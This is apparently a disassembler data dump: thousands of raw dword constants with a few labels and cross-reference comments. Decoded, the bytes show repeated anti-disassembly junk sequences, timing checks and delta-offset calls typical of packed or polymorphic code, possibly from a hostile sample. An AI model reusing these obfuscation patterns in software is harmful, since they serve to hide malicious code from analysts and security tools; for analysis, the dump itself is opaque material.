dd 3Eh, 7F59589h, 8D8B07E0h, 7E01359h, 5CE78166h, 1E18398h
dd 24840Fh, 0A5830000h, 7E01359h, 0DD9D89FEh, 8907E02Eh
dd 0E0126D95h, 0D58D0907h, 0F07E01Fh, 84h, 0E900h, 0B58D0000h
dd 7E402ACh, 6AF98Bh, 0FA4783BFh, 0A995FF4Ah, 0F07E018h
dd 0A1B9FFBFh, 6A000008h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0F9A6C353h, 565F9860h
dd 6AFCE183h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 5408C352h, 0B9F04862h, 89562521h
dd 0E01EBDBDh, 6AFC5B07h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 94BFC356h, 0B82AB7B2h
dd 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 2CC35646h
dd 5CB1E640h, 0BAC015E6h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6DC35242h
dd 0F6275E5h, 33ADFABFh, 3E8D1C2h, 4E983D0h, 9D8BF475h
dd 7E0074Dh, 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0BE6B5D8Fh, 0F5F210FAh
dd 0A99D895Ah, 8B07E031h, 0E0181595h, 0CAF38107h, 8B384B20h
dd 0E020498Dh, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 7F151F15h, 6870Fh, 9D8B0000h
dd 7E02199h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 9D2B5818h, 7E02DB5h, 7E9h, 0D220C400h, 7278D211h, 12F5BD83h
dd 0F0007E0h, 6484h, 0FBB70F00h, 0B8h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 68A80D53h, 3840Fh, 0BF0F0000h, 0E88D8DDEh, 8B07E04Eh
dd 0E0153DBDh, 60E1FF07h, 75D9589h, 12E807E0h, 0E3000000h
dd 7F8777D9h, 0CD08D6F0h, 0A21102C9h, 45C5C18Bh, 81858B5Fh
dd 5907E015h, 0C5BD8361h, 7E022h, 3F7840Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0C3790AC3h, 83F8F578h, 0E022C5BDh, 840F0107h, 3E4h
dd 19EDBD89h, 0BD8307E0h, 7E022C5h, 9B860F03h, 6A000003h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0F2B5C355h, 0FD9D89A8h, 6007E013h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0CCC35747h, 21C98D89h
dd 8C6607E0h, 59BF66D9h, 4E180A3h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 60C35141h, 0A95C0202h, 0FC90A0Fh
dd 14D84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 0CDADD806h, 2B4C1A1Ch, 81BD8B66h
dd 0BB07E013h, 3BCB30D6h, 3399858Bh, 6A07E0h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 5BD615C3h
dd 51394387h, 8533F290h, 7E03189h, 2FE9B589h, 609007E0h
dd 0F8B0Fh, 9E80000h, 0B8000000h, 3DBA858Fh, 0F024283Bh
dd 6EB95059h, 5A310BA7h, 800F5061h, 0
dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 116E939Dh, 0F0106856h, 0D444BF66h, 3415BD8Bh
dd 6A07E0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 80C35141h, 1C89B723h, 82B89136h, 2AE18589h, 596807E0h
dd 502ACB9Dh, 6B85BF52h, 310F7659h, 3481585Ah, 0D49EA624h
dd 56006A2Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 0DFD34495h, 4DA9BA09h, 953194AFh, 7E01C0Dh
dd 21CD95FFh, 0B70F07E0h, 0AD8589DEh, 0F07E3CBh, 680h
dd 69BD8B00h, 0E907E01Ah, 167h, 2689D381h, 858B3A2Fh, 7E3CBA5h
dd 68E0Fh, 9D8B0000h, 7E011B5h, 1800C7h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 68D494C3h, 8B516B8Eh, 0E3CBA9B5h, 0F9858B07h, 6A07E005h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 0F02FC355h, 8BE4DAA6h, 0E015F59Dh, 9E5BB07h
dd 6897133h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 51C35747h, 2E70A987h, 3399858Bh, 6A07E0h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0ECA8E1C3h, 60267497h, 0EE9600Fh, 84000000h, 0C64472EEh
dd 0EE01EC72h, 91FD8765h, 17BB6635h, 0F88B6145h, 50044689h
dd 10E8h, 0EBB41200h, 29B19D05h, 0F3674F39h, 679A75Dh
dd 2EBB6647h, 34895BD0h, 59D78124h, 0FF33059Bh, 0E3CBA5B5h
dd 918D0907h, 6807E01Fh, 24C98BF6h, 98B0Fh, 66600000h
dd 662120B9h, 8161D08Bh, 88092434h, 0BD8924D6h, 7E00E15h
dd 0CBAD858Dh, 8B6007E3h, 0E0191DBDh, 57906107h, 0BE9h
dd 0F1DAD500h, 9313DEF1h, 8CCBD884h, 0CBBB505Fh, 905E495Fh
dd 1FCD9D01h, 95FF07E0h, 7E021CDh, 61FFBF0Fh, 8D29CBB7h
dd 7E02689h, 22C585C7h, 307E0h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 75B8AAC3h
dd 979ED2C7h, 0D7EB81A6h, 566FEF20h, 16CD9D8Bh, 835F07E0h
dd 0E3CBADBDh, 840F0007h, 22h, 13E8h, 3B854600h, 6DB04D10h
dd 0BDCEBA1Ch, 96FC7B39h, 2EE9B2D4h, 1EE95FF8h, 66000000h
dd 3050FB8Bh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 56006AAAh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 0DADFCE2Ch, 665746F3h
dd 5FB5E5BFh, 22C5BD83h, 0F0307E0h, 39085h, 3850F00h, 0F000000h
dd 0CE9DFBFh, 16000000h, 0C55B7CEFh, 0FF8EB447h, 8369908Eh
dd 0E3CBADBDh, 840F0007h, 369h, 90DBD8Bh, 0BD8907E0h, 7E03039h
dd 0CBADB5FFh, 6A07E3h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 7175EAC3h, 5D79DCA8h, 6810F25h
dd 89000000h, 0E00F358Dh, 8B665107h, 95FF5BD8h, 7E01DA9h
dd 6830Fh, 85890000h, 7E02939h, 8890Fh, 0F500000h, 86h
dd 0B58B5B00h, 7E3CBA1h, 68C0Fh, 9D8B0000h, 7E00201h, 106C7h
dd 0DE8B0001h, 8A0F5150h, 2, 895F5B57h, 85892434h, 7E00561h
dd 0CBADB5FFh, 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 4E175DC3h, 0FFA11561h, 0E0301195h
dd 0F8A0F07h, 0E9000000h, 0Ah, 2BD531D0h, 0A49A1749h, 0BD8BF615h
dd 7E018C9h, 0CBA1B58Bh, 6A07E3h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 0D69E83C3h, 81666ADEh
dd 8BEBF8C7h, 0E022D185h, 0DE907h, 96490000h, 4D1CAEBFh
dd 0AC67E284h, 89938D3Dh, 0C486h, 0DABF0F00h, 1815958Bh
dd 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 832E6BC3h, 0BD2904C2h, 7E01FB5h, 66205089h
dd 858DFB8Bh, 7E3E0D4h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0DAC35141h, 0B8868993h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 5DAFC352h, 0DBBF0FCBh, 4B1240BFh, 8B006A56h, 0E00135BDh
dd 0ADB5FF07h, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 0E42DC352h, 74C43629h
dd 85893E7Dh, 7E006A9h, 2A9995FFh, 6A07E0h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 8D9EAC3h
dd 0F6096F6h, 389h, 0CB8B6600h, 5061C28Bh, 58D0F96h, 60000000h
dd 61F82DB0h, 0CBADB5FFh, 95FF07E3h, 7E028E9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0CCC35040h, 8D895497h
dd 7E02179h, 28E1BD83h, 0F0007E0h, 5D84h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 5DE860E9h, 6970FA1Eh, 0C99D8B22h, 5007E017h, 0D147BB66h
dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 4C2EC351h, 0BF42139Fh, 13188A16h
dd 127D9589h, 0B5FF07E0h, 7E3CBADh, 119D8B60h, 6607E023h
dd 6186DCBBh, 303595FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 0C5085EC3h, 0B5FFCBD6h
dd 7E3CBADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 55C35646h, 78194710h, 0BB3D3AE3h, 0C9BD2359h, 0FF07E023h
dd 0E001B995h, 880F5207h, 6, 2F05BD8Bh, 835B07E0h, 0E00731BDh
dd 840F0207h, 15h, 0A2CF8156h, 5F056909h, 2039858Bh, 0C607E0h
dd 0B1BF6600h, 3D85C7B1h, 7E004h, 81000000h, 7DFC89D3h
dd 0F488E907h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 6F139AC3h, 0EB8166F9h, 0C18B3775h
dd 11E860h, 0E9310000h, 1A7075E3h, 7BD445B8h, 3A2B10C9h
dd 31835835h, 0E0050185h, 8D8B5B07h, 7E0057Dh, 0A7C78061h
dd 13C9858Dh, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 4A71A7C3h, 0F0C809DDh, 501E7039h
dd 8E860h, 0B6F20000h, 0CA05462Eh, 8B0F3F27h, 0
dd 489615Fh, 0BF665024h, 6A5BEF97h, 0EFBFF500h, 6A2DE4F5h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 0C1712CBCh, 0B7A9A173h, 20858DD5h, 6A07E483h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 91C9C355h, 999D8BE9h, 8307E008h, 6A05C0h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 910119C3h, 3D7FEAD1h, 0A0E28160h, 0E8090E93h, 0Fh, 8FAF0E62h
dd 0E71EC012h, 4286EC89h, 0E910B81Fh, 10h, 0C3869FD9h
dd 6AE5C09Fh, 0E081047Ch, 24A622E3h, 8BF5615Bh, 0E00739BDh
dd 8A605007h, 48961D8h, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 669B74FAh, 6AAE4ABFh
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 15D5E389h, 0C57E557Dh, 68B0F0Ch, 29000000h
dd 0E0169D85h, 0BF0F6007h, 8E8D7h, 37670000h, 9718CA6Ch
dd 0B5030C70h, 7E010D9h, 6A615Bh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 0E9C35242h, 7670C19Ch, 699ECC35h
dd 17FBDFBFh, 4195FF7Ah, 6A07E034h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 1B14C352h
dd 2A2DE1D4h, 8BB67F1Dh, 938D8DF8h, 6A07E3A3h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 0D14EC353h, 68F0Fh, 0C7810000h, 2C061DD3h, 8E8D1FFh
dd 0CD000000h, 5297592h, 5B9C0363h, 16B1BD83h, 0F0107E0h
dd 5785h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 642E449Ah, 0BF0FE346h, 29026ADAh
dd 0E02B75BDh, 8B665007h, 240489D9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 8CC35343h, 95FF1CB7h, 7E02A99h
dd 0D91E9h, 0E800h, 815D0000h, 0E4832AEDh, 19D2307h, 0F07E01Bh
dd 85h, 858DFC00h, 7E39463h, 0E890F98Bh, 5, 0A5BA5D6Ch
dd 665250F4h, 310FD88Bh, 505F585Ah, 12E8h, 0F9EB5800h
dd 9D1E36B3h, 0F52A359Ch, 0DCCC5382h, 564B967Dh, 7FCDBF66h
dd 6A905F5Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 5F2DC352h, 0B19D8B15h, 6407E013h
dd 35FFh, 81660000h, 64462BE3h, 2589h, 81660000h, 0FFB194EBh
dd 0E020FD85h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0FB840491h, 95FE47CFh
dd 0DE8B6619h, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 10E73FC3h, 53C2A459h, 0F5B5FF0Ch
dd 6A07E01Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 7130C352h, 0C53D341Dh, 880F0AC9h
dd 13h, 7E8h, 458DE700h, 0A12D6E57h, 1A35BD8Bh, 0FF5B07E0h
dd 0E0338995h, 127E907h, 13E90000h, 29000000h, 0EF108D68h
dd 2FC19596h, 46F5B6EBh, 2C1D1952h, 0C781FE00h, 3B58BAEDh
dd 0E6F900B0h, 71BD0370h, 0E407E020h, 37E38171h, 3C657768h
dd 0EE830F61h, 66000000h, 5EC5EF81h, 189DBD8Bh, 0B60F07E0h
dd 6BAC8h, 9D890000h, 7E016D9h, 0BB66C18Bh, 0E8C18FABh
dd 0AE904h, 67BF0000h, 0D912563h, 200000Eh, 89E2F766h
dd 0E01C9195h, 8BC82B07h, 0E0210D9Dh, 60D18B07h, 821B533h
dd 0B70F07E0h, 8D8961DEh, 7E010EDh, 6E9h, 11B58900h, 8B07E016h
dd 0E033A585h, 7C08307h, 6810Fh, 85890000h, 7E0242Dh, 0E800C083h
dd 6, 2A1D376Eh, 858957ADh, 7E01A01h, 1A18BB5Fh, 0D03B4E66h
dd 12830Fh, 66570000h, 7579DB81h, 4BE95Fh, 0BD8B0000h
dd 7E0004Dh, 0E18D8Bh, 858907E0h, 7E025DDh, 0F01E183h
dd 3084h, 0EDBD8900h, 8907E008h, 0E01D9DB5h, 0E1A58307h
dd 0FE07E000h, 9B4BBF66h, 33A59589h, 810F07E0h, 2, 8D8911B7h
dd 7E02631h, 0E9h, 0EDB58D00h, 6A07E40Ch, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0DCFEC353h
dd 66853077h, 6A1DEDBBh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 9E50A51Eh, 0F98B6605h
dd 7699D89h, 95FF07E0h, 7E018A9h, 7059D8Bh, 0A1B907E0h
dd 6A000008h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0D343C351h, 66E0DE2Ch, 8B5388E3h
dd 0E013959Dh, 0E1835F07h, 52006AFCh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 976CD27Dh
dd 721971F4h, 6AFC55h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 0B884C3h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0DB54C355h
dd 2AB9BD89h, 52BB07E0h, 0BA335AE4h, 0
dd 0ADFA8B66h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 72CBC353h, 0CDB45C3Fh, 33EEF6BDh, 0E031B9BDh, 0CE907h
dd 6BC50000h, 6F160786h, 0EBB7A50Fh, 9D8BD75Eh, 7E02945h
dd 6820Fh, 0BD330000h, 7E02945h, 880Dh, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 3334212h, 86EAEE2Ch, 22E99D8Bh, 958B07E0h, 7E01815h
dd 8400BF66h, 8E0Fh, 8D8B0000h, 7E02049h, 20A9BD8Bh, 8B5007E0h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 6A8DE380h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 0BB9FC353h, 4BCA51F3h, 89FC85C1h, 0E02E85B5h
dd 0F5BD8307h, 7E012h, 67840Fh, 95310000h, 7E001F5h, 0D98D8960h
dd 0F07E016h, 0B861CAB7h, 0
dd 1435B589h, 8D8D07E0h, 7E04EE8h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 0F1C35040h, 6AE1FFh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0C470DC3h, 8BC87A5Fh, 0FC6AC2BFh, 0C5BD835Eh, 7E022h
dd 433840Fh, 0BD830000h, 7E022C5h, 41840F01h, 6A000004h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0D187C356h, 0F15DED00h, 83F9B70Fh, 0E022C5BDh
dd 860F0307h, 3DAh, 255D9D23h, 816607E0h, 60DA33DFh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 4AC35040h, 8531E1D8h
dd 7E00571h, 0F398D29h, 8C6607E0h, 52006AD9h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 22EB0BDBh
dd 0E180511Eh, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 1FC4EF6Eh, 13E8B28Ah
dd 0A2000000h, 9CC33D52h, 3B500863h, 2A0F23Dh, 0B2E211C2h
dd 0B5899D17h, 7E00829h, 0FC90A5Fh, 11184h, 0C9BD0300h
dd 8B07E030h, 0E0339985h, 850F07h, 33000000h, 0E0318985h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 8B66902Ah, 536050DEh, 0B85A6160h, 5863C87Fh
dd 8E89061h, 3E000000h, 30D6E853h, 667771AAh, 8B5FFE8Bh
dd 0E028B9BDh, 0E8006A07h, 4, 1F03FFh, 7CA32DBBh, 7E95042h
dd 0ED000000h, 0A2A05237h, 448BA0C4h, 0BB660424h, 8BC16Bh
dd 10E952h, 51B70000h, 8D437B26h, 2146C2C9h, 50F5F0B4h
dd 895B638Eh, 0F042444h, 80h, 6A5800h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 2CEBFDC3h
dd 64CA30B6h, 0F8BF0F62h, 21CD95FFh, 6A07E0h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0B11ADBC3h
dd 85CCCA28h, 0CBAD8589h, 816607E3h, 0E97446EBh, 18Fh
dd 9E9h, 224C8300h, 20C07429h, 858BB8FEh, 7E3CBA5h, 1800C7FCh
dd 8B000000h, 0E01069BDh, 0A9B58B07h, 8107E3CBh, 71FFFBCFh
dd 0F9858B58h, 6A07E005h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 309DC352h, 0C98589EBh
dd 8907E023h, 699D8B06h, 307E01Ah, 0E031259Dh, 99858B07h
dd 0F07E033h, 4689D8BFh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 5ED7D756h, 0D9BD8B6Bh
dd 5007E004h, 25BFBF66h, 31243489h, 0E0169D8Dh, 0A5B5FF07h
dd 6007E3CBh, 0FDEB70Fh, 0E861C2BFh, 4, 1F03FFh, 5E8h
dd 70374B00h, 9E92D6Ch, 95000000h, 2337C447h, 6B17901Ch
dword_595250 dd 0CDBF505Fh ; DATA XREF: ___:00444AC0o
db 4Fh
byte_595255 db 16h, 13h, 8Bh ; DATA XREF: ___:00444A94o
dd 50042444h, 0DF8B6652h, 8E0F310Fh, 6, 310F5250h, 585A585Ah
dd 0BE8008Bh, 0DE000000h, 0D27E58BAh, 0D374322Fh, 0B560768Fh
dd 895B6136h, 0E8042444h, 0Dh, 595365B2h, 59694915h, 37C14D53h
dd 48E0F96h, 66000000h, 5FC1D1BFh, 0BDBD2358h, 8D07E005h
dd 0E3CBAD85h, 7860F07h, 0F000000h, 18Fh, 5050F800h, 60525052h
dd 0B7310F61h, 0F585AEDh, 6E95331h, 14000000h, 0B5E88862h
dd 585A5BD0h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 2BF8C357h, 0D78094E2h
dd 0CD95FF12h, 6107E021h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 3CC35747h, 11E9367Dh, 0A1000000h, 2F5AACCh
dd 0F787BF85h, 0FAFD6642h, 0F22DF9DDh, 22C585C7h
db 0E0h
byte_595345 db 7, 3, 0 ; DATA XREF: ___:00444A8Co
; ___:00444D74o
dd 0CBBF0000h, 8316FE51h, 0E3CBADBDh, 840F0007h, 52h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 82C35545h, 0EE4D2EDFh
dd 152DDA59h, 21BD8BC5h, 0E907E000h, 3Dh, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Ah, 3C35040h, 0B1998C57h
dd 3050536Dh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 0DC8A5D43h, 22C5BD83h, 0F0307E0h
dd 3DC85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 93C61745h, 0BFD99B29h, 3015BD89h
dd 0BD8307E0h, 7E3CBADh, 0A6840F00h, 53000003h, 0B5FF5FF8h
dd 7E3CBADh, 2ACD9D8Bh, 95FF07E0h, 7E01DA9h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0DFC35646h, 0A1B58B59h
dd 8B07E3CBh, 0E0344D9Dh, 106C707h, 81000100h, 0F782E7D3h
dd 8E99669h, 9E000000h, 153BA8A6h, 506274C3h, 8018BB66h
dd 12E896h, 3B580000h, 0EFFC4265h, 2D5A2E42h, 8C739695h
dd 0CEBE5755h, 6B5BD8Bh, 0FF5B07E0h, 0E3CBADB5h, 0CB97BF07h
dd 0EB816A26h, 0CE8A49Bh, 301195FFh, 6A07E0h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 9E946BC3h
dd 0A1999C21h, 8B0178D7h, 0E3CBA1B5h, 56006A07h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 4E25FE57h, 8B66A5C7h, 0D1858BFAh, 8107E022h, 6BFFE3E7h
dd 0C486891Bh, 80000000h, 958B34D3h, 7E01815h, 0C75951BFh
dd 4C28371h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0DC35141h, 0CA8B7D9Bh, 958903CDh, 7E02D25h, 88DB529h
dd 508907E0h, 0DB816620h, 858DEB90h, 7E3E0D4h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DAC35747h, 553D1D8h
dd 0BD8B8275h, 7E021E1h, 0B88689h, 6A0000h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DEC35242h, 0E53180BCh
dd 0B5FFFE8Bh, 7E3CBADh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 6C35646h, 0BD957ACAh, 5E960h, 665D0000h
dd 0E8B96606h, 0Ch, 362BBC37h, 75D45FE6h, 0BC2251BBh, 71615AB8h
dd 0FF615F10h, 0E02A9995h, 0CF816607h, 8B5019A3h, 243489DAh
dd 0B5FFD98Bh, 7E3CBADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 0E6C35343h, 28E995FFh, 6A07E0h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 8DFCCC3h, 0F4B10E0Ch, 18BD8589h, 0BD8307E0h, 7E028E1h
dd 41840F00h, 89000000h, 0E00589B5h, 7E89607h, 15000000h
dd 2EF20BD4h, 0FE8C44Ah, 3B000000h, 0F35E6F3Fh, 2E070E8Ah
dd 0C9C01385h, 0DE8B6D3Fh, 66505F5Bh, 96550BBBh, 9E8h
dd 3A88D400h, 0DF5D5B74h, 5BF9D093h, 0CBADB5FFh, 6A07E3h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 8BE8CEC3h, 8B12FC17h, 0E018919Dh, 3595FF07h, 6A07E030h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 0E4F1C356h, 0A2BC60FDh, 5E5DA888h, 0CBADB5FFh
dd 95FF07E3h, 7E001B9h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 8DC35040h, 4A8FD7DEh, 0BF663D6Bh, 0BD83BC80h
dd 7E00731h, 44840F02h, 8B000000h, 0E014AD9Dh, 2CD38107h
dd 8B70CD52h, 0E0203985h, 57D88B07h, 0CDBD8B60h, 8907E01Fh
dd 0E01AE5BDh, 0C65F6107h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0C7C3E5C3h
dd 0E0043D85h, 7, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 1584AE97h, 43875BD6h
dd 0BE939h, 9DDD0000h, 0CF886F59h, 0E6BF9E6Ah, 0F382E946h
dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 67A6B7C3h, 56EE2050h, 810F92DFh, 0
dd 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 7C497C3h, 4B8361F4h, 8A87CB81h, 858D25E3h
dd 7E013C9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 16C35747h, 8DAE5E10h, 95891306h, 7E01C05h, 0FE8B6650h
dd 8B240489h, 6A006AFBh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 325BC357h, 9589DA8Bh
dd 7E0058Dh, 8166006Ah, 8064B5EFh, 858D74E7h, 7E49247h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 70C35141h
dd 83ED6672h, 0F9005C0h, 38Ch, 0DE8B6600h, 5850F50h, 0BB000000h
dd 20E15EB8h, 81006A90h, 0AC09BDE7h, 0BF006A27h, 3CC7E7FDh
dd 344195FFh, 890F07E0h, 6, 315DB529h, 8D8D07E0h, 7E3A393h
dd 2880F60h, 8B000000h, 10E9D0h, 0F2420000h, 7B31DEDFh
dd 305DD2B4h, 40211A2Bh, 0FF617585h, 52006AD1h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0C1618283h
dd 799D0143h, 8307E010h, 0E016B1BDh, 850F0107h, 6Fh, 0CE9h
dd 0CFE8E200h, 0B20379CAh, 96AC0A2Eh, 6A026A84h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0BA8BC351h, 0E5E0B3C3h, 27A1C94Ah, 5B5750F8h, 0E9240489h
dd 0Ah, 0EC00CA84h, 9E521DAFh, 95FF9917h, 7E02A99h, 11E9h
dd 0A71E0000h, 0E34E49E0h, 0DDCFF130h, 9212217Ch, 0C1BF4C54h
dd 0E91D8941h, 0DF7h, 0E8h, 0ED815D00h, 7E49251h, 268D9D89h
dd 9D8907E0h, 7E0260Dh, 9463858Dh, 6A07E3h, 3E857h, 5F200000h
